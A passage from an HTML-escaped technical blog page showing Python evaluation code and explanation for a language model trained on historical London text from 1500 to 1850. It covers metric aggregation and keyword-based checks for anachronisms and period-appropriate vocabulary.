&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            bleu &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; calculate_bleu(generated, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;reference&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            rouge &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; calculate_rouge(generated, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;reference&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            hist_acc &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; assess_historical_accuracy(generated, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;context&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ling_qual &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; assess_linguistic_quality(generated)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            coherence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; assess_coherence(generated)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            temp_cons &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; assess_temporal_consistency(generated, sample[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;time_period&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Store metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;perplexity&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(perplexity)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bleu_scores&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(bleu)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rouge_scores&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(rouge)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;historical_accuracy&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(hist_acc)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;linguistic_quality&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(ling_qual)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;coherence_scores&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(coherence)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            metrics[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;temporal_consistency&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;append(temp_cons)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Calculate aggregate metrics&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; metric_name, values &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; metrics&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        results[metric_name] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;mean&amp;#39;&lt;/span&gt;: np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mean(values),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;std&amp;#39;&lt;/span&gt;: np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;std(values),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;min&amp;#39;&lt;/span&gt;: np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;min(values),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;max&amp;#39;&lt;/span&gt;: np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;max(values),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;median&amp;#39;&lt;/span&gt;: np&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;median(values)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; results&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 1: Comprehensive Evaluation Pipeline&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The pipeline computes all the metrics we outlined above (standard LM metrics such as perplexity and BLEU/ROUGE, plus our historically specific assessments of accuracy, linguistic quality, and coherence). Each metric provides a different lens through which to view model performance: perplexity measures how well the model predicts the training distribution, BLEU/ROUGE measures literal similarity to the reference text, and the custom metrics assess historical authenticity and linguistic appropriateness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why This Multi-Metric Approach Matters?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Standard language model evaluation often focuses on perplexity and n-gram overlap metrics, which measure general language quality but miss domain-specific requirements. For historical language models, we need to know not just whether the text is fluent, but whether it&amp;rsquo;s historically accurate, temporally consistent, and linguistically appropriate for the target period. This multi-metric approach ensures we catch different types of failures - a model might generate grammatically perfect text but fail historically, or produce historically accurate content with poor linguistic quality.&lt;/p&gt;
&lt;p&gt;The aggregation step (&lt;code&gt;computing mean&lt;/code&gt;, &lt;code&gt;std&lt;/code&gt;, &lt;code&gt;min&lt;/code&gt;, &lt;code&gt;max&lt;/code&gt;, &lt;code&gt;median&lt;/code&gt;) provides a comprehensive view of model performance across different test cases. This statistical summary helps identify whether the model performs consistently or has high variance, whether certain types of prompts cause failures, and how the model compares across different historical periods and linguistic phenomena.&lt;/p&gt;
&lt;h3 id=&#34;23-historical-accuracy-assessment&#34;&gt;2.3 Historical Accuracy Assessment&lt;/h3&gt;
&lt;p&gt;Standard LLM evaluation metrics (perplexity, BLEU, ROUGE) measure general language quality, but they don&amp;rsquo;t tell us whether the model generates historically accurate text for London between 1500-1850. To address this, we built customized evaluation tools that check period-appropriate language, temporal consistency, London-specific geography and landmarks, and historical fact accuracy. These tools are implemented in &lt;strong&gt;&lt;code&gt;05_evaluation/comprehensive_evaluator.py&lt;/code&gt;&lt;/strong&gt; as shown in &lt;a href=&#34;#listing2&#34; class=&#34;listing-ref&#34;&gt;Listing 2&lt;/a&gt;:&lt;/p&gt;
&lt;figure id=&#34;listing2&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;assess_historical_accuracy&lt;/span&gt;(generated_text, historical_context):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Assess the historical accuracy of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check temporal consistency&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temporal_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_temporal_consistency(generated_text, historical_context[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;time_period&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; temporal_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check historical facts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fact_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_historical_facts(generated_text, historical_context[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;facts&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; fact_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check period-appropriate language&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    language_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_period_language(generated_text, historical_context[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;time_period&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; language_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check geographical accuracy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    geo_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_geographical_accuracy(generated_text, historical_context[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;location&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; geo_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check social context accuracy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    social_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_social_context(generated_text, historical_context[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;social_class&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; social_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; accuracy_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; total_checks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;check_temporal_consistency&lt;/span&gt;(text, time_period):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Check if text maintains temporal consistency with the specified period&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Define period-specific constraints&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    period_constraints &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1500-1600&amp;#39;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forbidden_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;electricity&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;steam engine&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;railway&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ye&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;hath&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;doth&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;date_range&amp;#39;&lt;/span&gt;: (&lt;span style=&#34;color:#f5a97f&#34;&gt;1500&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1600&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1600-1700&amp;#39;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forbidden_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;railway&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;telegraph&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;hath&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;doth&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;verily&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;date_range&amp;#39;&lt;/span&gt;: (&lt;span style=&#34;color:#f5a97f&#34;&gt;1600&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1700&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1700-1800&amp;#39;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forbidden_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;telegraph&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;telephone&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;hath&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;doth&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;indeed&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;date_range&amp;#39;&lt;/span&gt;: (&lt;span style=&#34;color:#f5a97f&#34;&gt;1700&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1800&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1800-1850&amp;#39;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forbidden_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;telephone&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;automobile&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;indeed&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;verily&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pray&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;date_range&amp;#39;&lt;/span&gt;: (&lt;span style=&#34;color:#f5a97f&#34;&gt;1800&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;1850&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; time_period &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; period_constraints:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Neutral score for unknown periods&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    constraints &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; period_constraints[time_period]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for forbidden terms (anachronisms)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; term &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; constraints[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;forbidden_terms&amp;#39;&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; term&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for required period-appropriate terms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    period_terms_found &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
